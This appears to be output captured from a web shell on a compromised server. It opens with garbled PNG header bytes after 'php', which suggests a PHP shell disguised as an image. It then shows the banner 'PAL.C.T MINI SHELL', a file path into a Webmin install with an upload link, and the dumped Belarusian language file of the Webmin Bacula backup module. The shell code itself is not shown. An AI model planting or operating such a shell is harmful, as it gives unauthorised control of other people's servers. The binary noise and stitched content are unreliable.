php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/bacula-backup/lang/
upload
files >> //usr/libexec/webmin/bacula-backup/lang/be.auto

index_echeck=$1 Можа быць, ён не ўсталяваны, альбо канфігурацыя модуля <a href='$2'></a> няправільная.
index_edb=Не атрымалася падключыцца да базы дадзеных Bacula: $1 Магчыма, яна не наладжана, альбо канфігурацыя модуля <a href='$2'></a> няправільная.
index_eng=Не атрымалася падключыцца да базы дадзеных Bacula: $1. Можа, яго няма, альбо канфігурацыя модуля <a href='$2'></a> няправільная.
index_econsole=Каманда пульта Bacula $1 не магла мець зносіны з дырэктарам Bacula. Пераканайцеся, што пароль у $2 правільны.
index_econsole2=Каманда кансолі Bacula $1 не наладжана з правільным хостам дырэктара Bacula. У цяперашні час выкарыстоўваецца $2, якога не існуе.
index_fixpass=Націсніце тут, каб выправіць пароль кансолі
index_fixaddr=Націсніце тут, каб выправіць хост дырэктара Бакулы
index_stop=Спыніце Бакулу
index_stopdesc=Націсніце гэтую кнопку, каб закрыць пералічаныя вышэй працэсы дэмана Бакулы.
index_start=Запусціце Бакулу
index_startdesc=Націсніце гэтую кнопку, каб запусціць пералічаныя вышэй працэсы дэмана Бакулы.
index_restart=Перазагрузіце Бакулу
index_restartdesc=Націсніце гэтую кнопку, каб спыніць і перазапусціць пералічаныя вышэй працэсы дэмана Бакулы. Гэта можа спатрэбіцца для актывацыі канфігурацый прылад захоўвання дадзеных.
index_apply=Прымяніць канфігурацыю
index_applydesc=Націсніце гэтую кнопку, каб актываваць канфігурацыю рэжысёра Bacula, паказаную вышэй.
index_boot=Пачніце пры загрузцы
index_bootdesc=Змяніце гэтую опцыю, каб кантраляваць, запускаецца ці не Bacula падчас загрузкі сістэмы.
index_status=Станы працэсу:
index_up=Уверх
index_down=Уніз
index_return=Індэкс модуля
index_versionbacula=Бакула $1 
index_versionbareos=Барэас $1 
index_notrun=Рэзервовае капіраванне і іншыя аперацыі не могуць быць выкананы, калі дэман Bacula Directory не працуе.
index_eversion=Ваша сістэма выкарыстоўвае Bacula версіі $2, але гэты модуль Webmin падтрымлівае толькі версіі $1 і вышэй.
index_dir=Канфігурацыя дырэктара
index_sd=Канфігурацыя захоўвання Daemon
index_fd=Канфігурацыя файла Дэмана
index_groups=Канфігурацыя групы Bacula
index_actions=Дзеянне рэзервовага капіявання і аднаўлення
index_ocmin=Унесены <a href=$2 target=_new>Linmin</a> </a>

connect_emysql=Не атрымалася загрузіць драйвер DBI DBI $1 
connect_elogin=Не атрымалася ўвайсці ў базу дадзеных $1:$2.
connect_equery=Здаецца, база дадзеных $1 не ўтрымлівае табліц Bacula.
connect_equery2=Гэта можа быць таму, што ўсталяваны модуль SQLite Perl занадта новы і не падтрымлівае больш стары фармат базы дадзеных SQLite, які выкарыстоўваецца Bacula.
connect_equery3=Здаецца, база дадзеных $1 не ўтрымлівае табліц групы OC Bacula.
esql=Памылка SQL : $1 

check_edir=Каталог канфігурацыі Bacula $1 у вашай сістэме не знойдзены.
check_ebacula=Каманда кіравання Bacula $1 не знойдзена.
check_econsole=Каманда кансолі Bacula $1 не знойдзена.
check_edirector=Файл канфігурацыі рэжысёра Bacula $1 не знойдзены.
check_eclient=Здаецца, гэтая сістэма з'яўляецца кліентам <a href='$2'>Bacula</a>, а не дырэктарам.
check_econfigs=Файлы канфігурацыі Bacula не знойдзены ў $1 
check_eservers=Не вызначана група сервераў Webmin
check_engmod=Модуль груп OpenCountry Bacula не ўсталяваны

proc_bacula-sd=Дэман захоўвання
proc_bacula-fd=Файл дэмана
proc_bacula-dir=Дэман Бакула дырэктар
proc_bareos-sd=Дэман захоўвання
proc_bareos-fd=Файл дэмана
proc_bareos-dir=Дэман Бакула дырэктар

stop_err=Не ўдалося спыніць Бакулу
start_err=Не атрымалася запусціць Бакулу
start_einit=Не знойдзена сцэнарыя init для $1 
start_erun=Не атрымалася запусціць $1 : $2 
restart_err=Не атрымалася перазапусціць Бакулу
apply_err=Не атрымалася прымяніць канфігурацыю
apply_failed=Была выяўлена памылка канфігурацыі
apply_problem=Не атрымалася прымяніць канфігурацыю : $1 

jobs_title=Рэзервовыя працы
jobs_none=Заданні для рэзервовага капіявання яшчэ не вызначаны.
jobs_name=Імя працы
jobs_deftype=Па змаўчанні?
jobs_type=Тып працы
jobs_client=Кліент для рэзервовага капіявання
jobs_fileset=Файл усталяваны ў рэзервовую копію
jobs_schedule=Рэзервовы расклад
jobs_add=Дадайце новую працу для рэзервовага капіявання.
jobs_delete=Выдаліць выбраныя заданні
jobs_return=спіс заданняў
jobs_derr=Не атрымалася выдаліць заданні

filesets_title=Наборы файлаў
filesets_none=Набор файлаў рэзервовай копіі яшчэ не вызначаны.
filesets_name=Імя набору файла
filesets_files=Уключаны файлы
filesets_add=Дадайце новы набор файлаў рэзервовай копіі.
filesets_delete=Выдаліць выбраныя наборы файлаў
filesets_return=спіс набораў файлаў
filesets_derr=Не атрымалася выдаліць набор файлаў
filesets_ednone=Ні адзін не абраны

fileset_title1=Стварыць набор файлаў
fileset_title2=Рэдагаваць набор файлаў
fileset_header=Падрабязнасці файла рэзервовага капіявання
fileset_egone=Набор файлаў больш не існуе!
fileset_name=Імя набору файла
fileset_include=Файлы і каталогі для рэзервовага капіявання
fileset_exclude=Файлы і каталогі для прапуску
fileset_sig=Тып подпісу файла
fileset_none=Не
fileset_md5=MD5
fileset_err=Не атрымалася захаваць набор файлаў
fileset_ename=Адсутнічае імя набору файла
fileset_eclash=Набор файлаў з такой назвай ужо існуе
fileset_echild=Гэты набор файлаў немагчыма выдаліць, паколькі ён выкарыстоўваецца $1 
fileset_comp=Тып сціску
fileset_gzipdef=&lt;Узровень кампрэсіі па змаўчанні&gt;
fileset_lzo=Сціск LZO
fileset_gzip=Узровень Gzip $1 
fileset_onefs=Абмежаваць рэзервовае капіраванне адной файлавай сістэмай?

clients_title=Рэзервовыя кліенты
clients_none=Пакуль не вызначаны рэзервовыя кліенты.
clients_name=Імя кліента
clients_address=Імя хаста ці адрас
clients_catalog=Каталог
clients_add=Дадайце новы рэзервовы кліент.
clients_delete=Выдаліць выбраных кліентаў
clients_return=спіс кліентаў
clients_derr=Не атрымалася выдаліць кліентаў

client_title1=Стварыць рэзервовага кліента
client_title2=Рэдагаванне рэзервовага кліента
client_header=Рэквізіты кліента пра рэзервовую копію
client_egone=Кліента больш няма!
client_name=Імя FD кліента
client_address=Імя хаста ці IP-адрас
client_port=Бакула FD порт
client_pass=Bacula FD пароль
client_catalog=Каталог для выкарыстання
client_prune=Чарновыя пратэрмінаваныя заданні і файлы?
client_fileret=Захоўвайце файлы рэзервовага капіявання для
client_jobret=Захоўвайце рэзервовыя копіі для
client_err=Не атрымалася захаваць рэзервовую копію кліента
client_ename=Адсутнічае альбо недапушчальнае імя кліента
client_eclash=Кліент з такім імем ужо існуе
client_epass=Адсутнічае пароль
client_eaddress=Адсутнічае альбо недапушчальнае імя хаста альбо адрас
client_eport=Адсутнічае альбо недапушчальны порт FD
client_efileret=Адсутнічае альбо недапушчальны перыяд захоўвання файла
client_ejobret=Адсутны альбо несапраўдны перыяд захавання працы
client_echild=Гэты кліент не можа быць выдалены, паколькі ён выкарыстоўваецца $1 
client_status=Паказаць стан

job_title1=Стварыце рэзервовую працу
job_title2=Рэдагаваць працу рэзервовага капіявання
job_header=Рэзервовае капіраванне рэквізітаў
job_name=Рэзервовае імя задання
job_enabled=Заданне рэзервовага капіравання ўключана?
job_def=Тып па змаўчанні
job_def0=Definiton па змаўчанні
job_def1=Самастойная праца
job_def2=Нашчадкі па спадчыне ад $1 
job_type=Тып працы
job_level=Узровень рэзервовага капіявання
job_client=Кліент для рэзервовага капіявання
job_fileset=Файл усталяваны ў рэзервовую копію
job_schedule=Рэзервовае капіраванне па графіку
job_storage=Прылада захоўвання пункта прызначэння
job_pool=Аб'ёмны пул
job_messages=Адрас прызначэння
job_prority=Прыярытэт рэзервовага капіявання
job_err=Не атрымалася захаваць заданне рэзервовага капіявання
job_ename=Адсутнічае альбо недапушчальнае імя працы
job_eclash=Заданне з такой назвай ужо існуе
job_epriority=Адсутнічае альбо недапушчальны нумар прыярытэту
job_echild=Гэтае заданне па змаўчанні не можа быць выдаленае, бо яно выкарыстоўваецца $1 
job_run=Бяжы зараз
job_before=Камандуйце перад працай
job_after=Камандаванне пасля працы
job_cbefore=Камандаванне перад працай (на кліента)
job_cafter=Камандаванне пасля задання (на кліента)

schedules_title=Рэзервовыя расклады
schedules_none=Яшчэ не вызначаны графікі рэзервовых копій.
schedules_name=Назва раскладу
schedules_sched=Выканаць ўзроўні і разы
schedules_add=Дадайце новы графік рэзервовага капіявання.
schedules_delete=Выдаліць выбраныя графікі
schedules_return=спіс раскладаў
schedules_derr=Не атрымалася выдаліць расклад

schedule_title1=Стварыць рэзервовы расклад
schedule_title2=Рэдагаванне раскладу рэзервовага капіявання
schedule_header=Падрабязнасці рэзервовага раскладу
schedule_name=Назва рэзервовага календара
schedule_runs=Выканаць ўзроўні і разы
schedule_level=Узровень рэзервовага капіявання
schedule_pool=Аб'ём
schedule_times=Бяжыце часам
schedule_err=Не атрымалася захаваць графік рэзервовага капіявання
schedule_ename=Адсутнічае альбо недапушчальнае імя раскладу
schedule_eclash=Графік з такой назвай ужо існуе
schedule_etimes=Адсутнічаюць часы рэзервовай копіі ў радку $1 
schedule_echild=Гэты графік нельга выдаліць, бо ён выкарыстоўваецца $1 

backup_title=Запусціце рэзервовую працу
backup_header=Рэзервовае капіраванне рэквізітаў
backup_job=Праца працаваць
backup_jd=$1 (набор файлаў $2 на $3)
backup_wait=Чакаць вынікаў?
backup_ok=Рэзервовае капіраванне зараз
backup_run=Пачатак рэзервовага задання $1.
backup_return=рэзервовая форма
backup_ejob=.. не знайшоў працу!
backup_eok=.. працу нельга было пачаць
backup_running=.. Цяпер выканана рэзервовая копія. Пасля завяршэння вынікі будуць паказаны ніжэй.
backup_running2=.. Заданне рэзервовага капіравання было пачата ў фонавым рэжыме.
backup_done=.. рэзервовае капіраванне поўнае.
backup_failed=.. рэзервовая копія не завяршылася паспяхова. Праверце падрабязнае паведамленне пра памылку.

gbackup_title=Запуск Bacula Group Backup Job
gbackup_run=Запуск рэзервовага задання $1 для кліентаў $2 ..
gbackup_on=Запуск рэзервовага капіявання на кліента $1  :
gbackup_header=Падрабязнасці задач рэзервовага капіявання Bacula
gbackup_jd=$1 (набор файлаў $2 у групе $3)

dirstatus_title=Статус дырэктара
dirstatus_sched=Запланаваныя рэзервовыя заданні
dirstatus_name=Імя працы
dirstatus_type=Тып
dirstatus_level=Узровень
dirstatus_date=Бяжыце ў
dirstatus_date2=Пачатак а
dirstatus_volume=Аб'ём
dirstatus_schednone=У цяперашні час ніякіх заданняў для рэзервовага капіравання не запланавана.
dirstatus_id=Выканаць ідэнтыфікатар
dirstatus_status=Бягучы статус
dirstatus_run=Запуск Backup Jobs
dirstatus_runnone=У цяперашні час ніякіх заданняў для рэзервовага капіявання не выконваюцца.
dirstatus_done=Завершаны рэзервовыя заданні
dirstatus_bytes=Памер
dirstatus_files=Файлы
dirstatus_status2=Статус
dirstatus_donenone=Заданні для рэзервовага капіявання не выконваюцца.
dirstatus_cancel=Адмяніць выбраныя заданні
dirstatus_refresh=Абнавіць спіс

clientstatus_title=Статус кліента
clientstatus_err=Не атрымалася атрымаць статус ад $1 : $2 
clientstatus_msg=Статус ад $1 : $2 
clientstatus_show=Паказаць статус кліента:
clientstatus_ok=добра
clientstatus_on=$1 (на $2)

storages_title=Дэмоны захоўвання
storages_none=Дагэтуль не вызначана дэманаў захоўвання.
storages_name=Назва захоўвання
storages_address=Імя хаста ці адрас
storages_device=Прылада захоўвання
storages_type=Тып носьбіта
storages_add=Дадайце новы дэман захоўвання.
storages_delete=Выдаліць выбраныя дэмоны захоўвання
storages_return=спіс дэманаў захоўвання
storages_derr=Не атрымалася выдаліць дэмоны захоўвання

storage_title1=Стварэнне Дэмана захоўвання
storage_title2=Рэдагаваць захоўванне Дэмана
storage_header=Падрабязнасці дэмана дыстанцыйнага захоўвання
storage_egone=Дэмана захоўвання больш не існуе!
storage_name=Назва захоўвання дэмана
storage_address=Імя хаста ці IP-адрас
storage_port=Порт Bacula SD
storage_pass=Пароль Bacula SD
storage_device=Назва прылады захоўвання
storage_media=Назва тыпу носьбіта
storage_maxjobs=Максімальная адначасовая праца
storage_other=Іншае ..
storage_err=Не атрымалася захаваць дэман захоўвання
storage_ename=Адсутнічае імя дэмана захоўвання
storage_eclash=Дэман захоўвання з такой назвай ужо існуе
storage_epass=Адсутнічае пароль
storage_eaddress=Адсутнічае альбо недапушчальнае імя хаста альбо адрас
storage_eport=Адсутнічае альбо недапушчальны порт SD
storage_edevice=Адсутнічае імя прылады захоўвання
storage_emedia=Адсутнічае імя тыпу носьбіта
storage_emaxjobs=Не хапае максімальных адначасовых заданняў
storage_echild=Гэты кліент не можа быць выдалены, паколькі ён выкарыстоўваецца $1 
storage_status=Паказаць стан

devices_title=Прылады захоўвання дадзеных
devices_none=Пакуль не вызначаны прылады захоўвання дадзеных.
devices_name=Назва прылады
devices_device=Файл прылады альбо каталог
devices_type=Тып носьбіта
devices_add=Дадайце новую прыладу захоўвання дадзеных.
devices_delete=Выдаліць выбраныя прылады захоўвання дадзеных
devices_return=спіс прылад захоўвання дадзеных
devices_derr=Не атрымалася выдаліць прылады захоўвання дадзеных

device_title1=Стварыць прыладу захоўвання дадзеных
device_title2=Рэдагаванне прылады захоўвання
device_header=Падрабязная інфармацыя аб прыладзе захоўвання файлаў
device_egone=Прылада захоўвання дадзеных больш не існуе!
device_name=Назва прылады захоўвання
device_device=Архіўнае прылада альбо каталог
device_media=Назва тыпу носьбіта
device_label=Аўтаматычная метка медыя?
device_random=Носьбіт выпадковага доступу?
device_auto=Мацаваць аўтаматычна?
device_removable=Здымны носьбіт?
device_always=Заўсёды трымаеце адкрыты?
device_err=Не атрымалася захаваць прыладу захоўвання
device_ename=Адсутнічае імя прылады захоўвання
device_eclash=Прылада захоўвання дадзеных з такой назвай ужо існуе
device_emedia=Адсутнічае імя тыпу носьбіта
device_edevice=Адсутнічае альбо несапраўдная прылада альбо каталог архіва
device_echild=Гэты кліент не можа быць выдалены, паколькі ён выкарыстоўваецца $1 

storagestatus_title=Статус захоўвання Дэмана
storagestatus_err=Не атрымалася атрымаць статус ад $1 : $2 
storagestatus_msg=Статус ад $1 : $2 
storagestatus_show=Паказаць статус дэмана захоўвання:
storagestatus_ok=добра

label_title=Аб'ём этыкеткі
label_header=Падрабязнасці аб'ёму для пазнакі
label_storage=Дэман захоўвання на этыкетцы
label_pool=Ствары ў басейне
label_label=Новая назва этыкеткі
label_ok=Пазначыць зараз
label_return=форма этыкеткі
label_run=Аб'ём маркіроўкі $2 на дэмана захоўвання $1.
label_estorage=.. Дэман захоўвання не знойдзены!
label_eexists=.. паказаная этыкетка ўжо існуе.
label_efailed=.. маркіроўка не атрымалася! Праверце паведамленне пра памылку вышэй па прычыне.
label_done=.. маркіроўка паспяховая.
label_epool=.. не знайшоў басейна!
label_err=Этыкетка не атрымалася
label_elabel=Ніякая этыкетка не ўведзена

pools_title=Аб'ёмныя басейны
pools_none=Пакуль яшчэ не вызначаны пулы аб'ёму.
pools_name=Назва басейна
pools_type=Тып басейна
pools_reten=Перыяд захоўвання
pools_add=Дадайце новы пул гучнасці.
pools_delete=Выдаліць выбраныя пулы тамоў
pools_return=спіс пулоў аб'ёму
pools_derr=Не атрымалася выдаліць пулы тамоў

pool_title1=Стварыць Аб'ёмны пул
pool_title2=Рэдагаваць Аб'ём пула
pool_header=Падрабязная інфармацыя аб рэзервовым пуле аб'ёму
pool_egone=Аб'ём пула больш не існуе!
pool_name=Назва пула тамоў
pool_recycle=Аўтаматычная перапрацоўка тамоў?
pool_auto=Аб'ём чарнасліву скончыўся?
pool_any=Рэзервовае капіраванне на любы аб'ём у пуле?
pool_reten=Перыяд захавання аб'ёму
pool_type=Тып пула гучнасці
pool_max=Максімум заданняў на аб'ём
pool_unlimited=Неабмежаваны
pool_err=Не атрымалася захаваць прыладу захоўвання
pool_ename=Адсутнічае імя прылады захоўвання
pool_eclash=Прылада захоўвання дадзеных з такой назвай ужо існуе
pool_echild=Гэты кліент не можа быць выдалены, паколькі ён выкарыстоўваецца $1 
pool_emax=Максімальная колькасць заданняў на аб'ём адсутнічае альбо недапушчальная
pool_ereten=Адсутнічае альбо несапраўдны перыяд захоўвання
pool_status=Паказаць тамы
pool_autolabel=Аўтаматычнае пазначэнне прэфікса тамоў
pool_maxvolsize=Максімальны памер гучнасці (напрыклад, 5G на 5 гігабайт)

poolstatus_title=Аб'ёмы ў басейне
poolstatus_show=Паказаць аб'ёмы ў басейне:
poolstatus_ok=добра
poolstatus_volumes=Аб'ёмы ў абраным пуле
poolstatus_name=Назва тома
poolstatus_type=Тып носьбіта
poolstatus_first=Спачатку выкарыстоўваецца
poolstatus_last=Апошні выкарыстаны
poolstatus_bytes=Байты напісаны
poolstatus_status=Рэзервовае капіраванне
poolstatus_none=У гэты рэзервовы пул пакуль няма тамоў.
poolstatus_never=Ніколі
poolstatus_delete=Выдаліць выбраныя тамы

dvolumes_err=Не атрымалася выдаліць тамы
dvolumes_enone=Ні адзін не абраны
dvolumes_ebacula=Памылка бакулы : $1 

mount_title=Мацаванне або адключэнне
mount_header=Параметры мацавання для захоўвання або адключэння
mount_storage=Прылада захоўвання
mount_slot=Слот для аўтапагрузчыка
mount_noslot=Не
mount_slotno=Нумар слота
mount_mount=Гара сховішча
mount_unmount=Зняцце захоўвання без гары
mount_run=Мантаж аб'ёму на прыладзе захоўвання, $1 ..
unmount_run=Немацаванне гучнасці на прыладзе захоўвання $1.
mount_done=.. мантуецца паспяхова.
unmount_done=.. паспяхова усталяваны.
mount_failed=.. мантажу не атрымалася! Глядзіце паведамленне пра памылку вышэй па прычыне.
unmount_failed=.. адключэнне не атрымалася! Глядзіце паведамленне пра памылку вышэй па прычыне.
mount_return=форма мацавання
mount_err=Не атрымалася змантаваць прыладу захоўвання дадзеных
mount_eslot=Адсутнічае альбо недапушчальны нумар слота

cancel_err=Адмена заданняў не атрымалася
cancel_enone=Ні адзін не абраны

gjobs_title=Bacula Group Backup Jobs
gjobs_none=Ніякія заданні для рэзервовага капіявання групы Bacula яшчэ не вызначаны.
gjobs_add=Дадайце новую працу для рэзервовага капіявання Bacula.
gjobs_delete=Выдаліць выбраныя заданні
gjobs_return=спіс працоўных месцаў групы Bacula
gjobs_derr=Не атрымалася выдаліць заданні групы Bacula
gjobs_client=Група Bacula для рэзервовага капіявання

gjob_title1=Стварэнне Bacula Group Backup Job
gjob_title2=Рэдагаваць працу Bacula Backup
gjob_header=Падрабязнасці задач рэзервовага капіявання Bacula
gjob_client=Група Bacula для рэзервовага капіявання

groups_title=Групы бакулаў
groups_none=Ніякія групы Bacula яшчэ не абраны для рэзервовага капіявання Bacula.
groups_name=Назва групы
groups_port=FD порт
groups_add=Дадаць групу Бакулы:
groups_ok=Дадаць
groups_catalog=Каталог
groups_delete=Выдаліць выбраныя групы бакулаў
groups_return=спіс груп
groups_derr=Не атрымалася выдаліць групы
groups_noadd=Не існуе груп Bacula, якія можна абраць для стварэння рэзервовых копій.
groups_info=$1 ($2 удзельнікаў)
groups_already=Усе групы Bacula ўжо дададзеныя.

group_title1=Стварэнне групы Bacula
group_title2=Рэдагаваць групу Bacula
group_header=Падрабязнасці пра групу Bacula неабходна падмацаваць
group_egone=Група ўжо не існуе!
group_egone2=Група Bacula больш не існуе!
group_name=Назва групы Бакула
group_port=Бакула FD порт
group_err=Не ўдалося захаваць групу Bacula
group_eclash=Група з такой назвай ужо існуе
group_members=Гаспадары групы Bacula

sync_title=Сінхранізацыя Bacula Group
sync_header=Параметры аўтаматычнай сінхранізацыі кліента Bacula Group
sync_sched=Сінхранізаваць па графіку?
sync_schedyes=Так, часам выбраны ніжэй ..
sync_err=Не ўдалося захаваць сінхранізацыю групы Bacula

log_create_client=Створана рэзервовы кліент $1 
log_modify_client=Мадыфікаваны кліент рэзервовага капіявання $1 
log_delete_client=Выдалены рэзервовы кліент $1 
log_delete_clients=Выдалены $1 рэзервовыя кліенты
log_create_fileset=Створаны набор файлаў $1 
log_modify_fileset=Мадыфікаваны набор файлаў $1 
log_delete_fileset=Выдалены набор файлаў $1 
log_delete_filesets=Выдалены набор файлаў $1 
log_create_job=Створаная задача рэзервовага капіявання $1 
log_modify_job=Зменена задача рэзервовага капіявання $1 
log_delete_job=Выдалена задача рэзервовага капіявання $1 
log_delete_jobs=Выдалены $1 задання
log_create_schedule=Створана расклад рэзервовага капіявання $1 
log_modify_schedule=Зменены графік рэзервовага капіявання $1 
log_delete_schedule=Выдалены графік рэзервовага капіравання $1 
log_delete_schedules=Выдалены $1 графікі рэзервовага капіявання
log_create_pool=Створаны пул аб'ёму $1 
log_modify_pool=Мадыфікаваны пул аб'ёму $1 
log_delete_pool=Выдалены пул аб'ёму $1 
log_delete_pools=Выдалены пулы аб'ёму $1 
log_create_storage=Створана дэман захоўвання $1 
log_modify_storage=Мадыфікаваны дэман захоўвання $1 
log_delete_storage=Выдалены дэман захоўвання $1 
log_delete_storages=Выдалены $1 дэман
log_create_device=Створана прылада захоўвання $1 
log_modify_device=Зменена прылада захоўвання $1 
log_delete_device=Выдалена прылада захоўвання $1 
log_delete_devices=Выдалены $1 прылады захоўвання
log_create_group=Створана група Bacula $1 
log_modify_group=Мадыфікаваная група Bacula $1 
log_delete_group=Выдалена група Bacula $1 
log_delete_groups=Выдалены $1 групы бакулаў
log_create_gjob=Створана задача рэзервовага капіявання групы Bacula $1 
log_modify_gjob=Мадыфікаванае заданне для рэзервовага капіявання групы Bacula $1 
log_delete_gjob=Выдалена задача рэзервовага капіявання групы Bacula $1 
log_delete_gjobs=Выдалена $1 задання Bacula для рэзервовага капіявання
log_create_fdirector=Створана файл рэжысёра-дэмана $1 
log_modify_fdirector=Зменены файл рэжысёра дэмана $1 
log_delete_fdirector=Выдалены файл рэжысёра-дэмана $1 
log_delete_fdirectors=Выдалены $1 дырэктар файла дэмана
log_create_sdirector=Створана дырэктар дэмана захоўвання $1 
log_modify_sdirector=Мадыфікаваны рэжысёр дэмана захоўвання $1 
log_delete_sdirector=Выдалены рэжысёр дэмана захоўвання $1 
log_delete_sdirectors=Выдалены $1 рэжысёры дэмана захоўвання
log_stop=Спыніліся дэманы Бакулы
log_start=Пачалі Дэкулы Бакула
log_apply=Прыкладная канфігурацыя
log_restart=Перанялі дэкуны Бакулы
log_backup=Пачалася задача рэзервовага капіявання $1 
log_gbackup=Пачала працу з рэзервовага капіявання групы Bacula $1 
log_label=Маркіраваны дэман захоўвання $1 
log_mount=Змантаваная прылада захоўвання $1 
log_unmount=Не змантаваная прылада захоўвання $1 
log_sync=Захавана сінхранізацыя групы Bacula
log_director=Захавана глабальная канфігурацыя рэжысёра Bacula
log_file=Захавана канфігурацыя файла Bacula
log_storagec=Захавана канфігурацыя дэмана дэманстрацыі захоўвання Bacula
log_fixpass=Выпраўлены пароль праграмы кансолі Bacula

director_title=Канфігурацыя дырэктара
director_header=Варыянты рэжысёра Global Bacula
director_name=Імя дырэктара
director_port=Слухайце ў порт
director_jobs=Максімальная адначасовая праца
director_messages=Адрас прызначэння
director_enone=Канфігурацыя дырэктара не знойдзена!
director_dir=Працоўны каталог Bacula
director_err=Не атрымалася захаваць канфігурацыю дырэктара
director_ename=Адсутнічае альбо несапраўднае імя дырэктара
director_eport=Адсутнічае альбо недапушчальны нумар порта
director_ejobs=Адсутнічае альбо недапушчальная колькасць адначасовых заданняў
director_edir=Адсутнічае альбо неіснуючы рабочы каталог

tls_enable=Уключыць TLS-шыфраванне?
tls_require=Прымаць толькі злучэнні TLS?
tls_verify=Праверце кліентаў TLS?
tls_cert=Файл сертыфіката TLS PEM
tls_key=Файл ключа TLS PEM
tls_cacert=Файл пацверджання сертыфіката TLS PEM
tls_none=Не
tls_ecert=Файл TLS адсутнічае альбо не існуе
tls_ekey=Адсутнічае альбо неіснуючы файл ключа TLS
tls_ecacert=Адсутнічае альбо неіснуючы файл сертыфіката TLS CA
tls_ecerts=Для ўключэння TLS неабходна ўказаць файлы сертыфіката, ключа і CA

file_title=Канфігурацыя файла Дэмана
file_header=Параметры файла бакулаў, дэман
file_name=Імя дэмана файла
file_port=Слухайце ў порт
file_jobs=Максімальная адначасовая праца
file_dir=Працоўны каталог Bacula
file_enone=Канфігурацыя дэмана файла не знойдзена!
file_err=Не атрымалася захаваць канфігурацыю дэмана файла
file_ename=Адсутнічае альбо недапушчальнае імя дэмана файла
file_eport=Адсутнічае альбо недапушчальны нумар порта
file_ejobs=Адсутнічае альбо недапушчальная колькасць адначасовых заданняў
file_edir=Адсутнічае альбо неіснуючы рабочы каталог

fdirectors_title=Файл дырэктараў Дэмана
fdirectors_none=Дырэктары пакуль не вызначаны.
fdirectors_name=Імя дырэктара
fdirectors_pass=Прыняты пароль
fdirectors_add=Дадайце новага дырэктара.
fdirectors_delete=Выдаліць выбраных дырэктараў
fdirectors_return=спіс дырэктараў
fdirectors_derr=Не атрымалася выдаліць рэжысёры

fdirector_title1=Стварыце дырэктар Daemon Director
fdirector_title2=Рэдагаваць файл дырэктара Daemon
fdirector_header=Падрабязнасці кіравання дыстанцыйным дырэктарам
fdirector_egone=Дырэктара больш няма!
fdirector_name=Імя дырэктара
fdirector_pass=Прыняты пароль
fdirector_monitor=Дазволіць толькі маніторынг злучэння?
fdirector_err=Не атрымалася захаваць рэжысёр файла дэмана
fdirector_ename=Адсутнічае імя дырэктара
fdirector_eclash=Рэжысёр з такой назвай ужо існуе
fdirector_epass=Адсутнічае пароль

sdirectors_title=Захаванне Daemon Directors
sdirectors_none=Дырэктары пакуль не вызначаны.
sdirectors_name=Імя дырэктара
sdirectors_pass=Прыняты пароль
sdirectors_add=Дадайце новага дырэктара.
sdirectors_delete=Выдаліць выбраных дырэктараў
sdirectors_return=спіс дырэктараў
sdirectors_derr=Не атрымалася выдаліць рэжысёры

sdirector_title1=Стварыце дырэктар Daemon Storage
sdirector_title2=Рэдагаваць дырэктар Daemon Storage
sdirector_header=Падрабязнасці кіравання дыстанцыйным дырэктарам
sdirector_egone=Дырэктара больш няма!
sdirector_name=Імя дырэктара
sdirector_pass=Прыняты пароль
sdirector_monitor=Дазволіць толькі маніторынг злучэння?
sdirector_err=Не атрымалася захаваць рэжысёр дэмана-сховішча
sdirector_ename=Адсутнічае імя дырэктара
sdirector_eclash=Рэжысёр з такой назвай ужо існуе
sdirector_epass=Адсутнічае пароль

storagec_title=Канфігурацыя захоўвання Daemon
storagec_header=Варыянты захоўвання бакулы
storagec_name=Імя Дэмана
storagec_port=Слухайце ў порт
storagec_jobs=Максімальная адначасовая праца
storagec_enone=Не знойдзена канфігурацыя дэмана захоўвання!
storagec_dir=Працоўны каталог Bacula
storagec_err=Не атрымалася захаваць канфігурацыю дэмана захоўвання
storagec_ename=Адсутнічае альбо недапушчальнае імя дэмана захоўвання
storagec_eport=Адсутнічае альбо недапушчальны нумар порта
storagec_ejobs=Адсутнічае альбо недапушчальная колькасць адначасовых заданняў
storagec_edir=Адсутнічае альбо неіснуючы рабочы каталог

chooser_title=Абярыце Расклад
chooser_monthsh=Месяцы для выканання
chooser_months=Месяцы года
chooser_all=Усе
chooser_sel=Выбрана ніжэй ..
chooser_ok=добра
chooser_timeh=Час сутак для выканання
chooser_time=Гадзіна і хвіліна
chooser_weekdaysh=Дні тыдня на выкананне
chooser_weekdays=Дні тыдня
chooser_weekdaynums=Лічбы ў месяц
chooser_daysh=Дні месяца на выкананне
chooser_days=Тэрміны
chooser_err=Не атрымалася выбраць расклад
chooser_emonths=Няма месяцаў
chooser_eweekdays=Будні не абраны
chooser_eweekdaynums=Не выбраны нумары будных дзён
chooser_edays=Няма дзён месяца
chooser_ehour=Прапушчаная ці несапраўдная гадзіна дня
chooser_eminute=Адсутная альбо несапраўдная хвіліна
chooser_emonthsrange=Абраныя месяцы павінны быць сумежнымі
chooser_eweekdaysrange=Выбраныя будні павінны быць сумежнымі
chooser_eweekdaynumsrange=Абраныя нумары працоўных дзён павінны быць суцэльнымі
chooser_edaysrange=Выбраныя дні месяца павінны быць сумежнымі

weekdaynum_1=Па-першае
weekdaynum_2=Другі
weekdaynum_3=Трэцяе
weekdaynum_4=Чацвёртая
weekdaynum_5=Пятая

restore_title=Аднавіць рэзервовую копію
restore_title2=Аднавіць рэзервовую копію для групы Bacula
restore_title3=Аднавіць рэзервовую копію Bacula Group
restore_header=Варыянты аднаўлення папярэдняга задання
restore_job=Праца па аднаўленні
restore_files=Файлы для аднаўлення
restore_client=Аднаўленне да кліента ці групы
restore_storage=Аднаўленне з прылады захоўвання
restore_where=Аднаўленне ў каталог
restore_where2=Іншы каранёвы каталог
restore_ewhere=Адсутны каталог для аднаўлення ў
restore_ok=Аднавіць зараз
restore_err=Не атрымалася аднавіць рэзервовую копію
restore_efiles=Файлы не ўводзяцца
restore_ejob=Несапраўдны ідэнтыфікатар задання
restore_ejobfiles=Файлы не запісаны для задання
restore_run=Пачынаецца аднаўленне задання $1 для кліента $2 са сховішча $3.
restore_return=аднавіць форму
restore_eok=.. працу нельга было пачаць
restore_running=.. зараз аднаўляецца. Пасля завяршэння вынікі будуць паказаны ніжэй.
